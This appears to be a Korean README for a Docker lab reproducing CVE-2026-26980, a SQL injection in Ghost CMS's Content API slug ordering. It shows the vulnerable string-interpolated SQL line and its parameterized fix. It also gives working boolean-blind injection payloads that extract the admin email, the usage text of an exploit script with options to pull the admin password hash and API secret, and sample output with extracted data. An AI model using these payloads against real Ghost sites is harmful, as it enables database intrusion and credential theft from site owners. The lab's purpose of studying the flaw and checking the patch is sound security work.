// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (취약)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL은 따옴표를 리터럴 문자로 전달

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

// 수정됨
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

# 랩 클론 및 진입
git clone <this-repo> && cd ghost-cve-2026-26980

# Python 의존성 설치
pip install -r requirements.txt

# 취약한 Ghost 인스턴스 시작 (6.18.0 + MySQL 8)
docker compose up -d

# Ghost 초기화를 위해 약 45초 대기 후 익스플로잇 실행
python3 exploit.py --url http://localhost:2368

# 패치된 Ghost 6.19.1을 포트 2369에서도 시작
docker compose --profile fixed up -d

# 약 45초 대기 후 수정이 인젝션을 차단하는지 확인
python3 exploit.py --url http://localhost:2369 --validate-fix

bash validate.sh

docker compose --profile fixed down -v

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            Ghost URL (기본값: http://localhost:2368)
  --validate-fix       대상이 취약하지 않음을 확인
  --extract-password   관리자 bcrypt 해시도 추출
  --extract-api-key    관리자 API 시크릿도 추출
  --content-key KEY    설정 건너뛰고 이 Content API 키 직접 사용
  -v, --verbose        쿼리별 오라클 결과 표시

====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================

[*] Ghost가 http://localhost:2368에서 준비될 때까지 대기
[*] Ghost 설정 중 (admin: [email protected])
[+] 설정 완료 — 세션 수립
[+] 로그인됨
[+] Content API 키: ad63c06a71457583ea58f050c1
[+] 앵커 슬러그: news

[*] 1단계 — 부울 블라인드 검증
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] 부울 오라클 확인 — 취약함

[*] 2a단계 — 관리자 이메일 추출
  관리자 이메일 길이 측정... 21자
  추출 중: [email protected]
  [+] 이메일: [email protected]

============================================================
  익스플로잇 요약
============================================================
  대상:        http://localhost:2368
  CVE:           CVE-2026-26980
  Content 키:   ad63c06a71457583ea58f050c1
  관리자 이메일:   [email protected]
============================================================

.
├── README.md              # 이 파일
├── docker-compose.yml     # Ghost 6.18.0 (취약) + 6.19.1 (수정) with MySQL 8
├── exploit.py             # 전체 PoC: 설정, 검증, 추출
├── validate.sh            # 종단 간 검증 래퍼
└── requirements.txt       # Python 의존성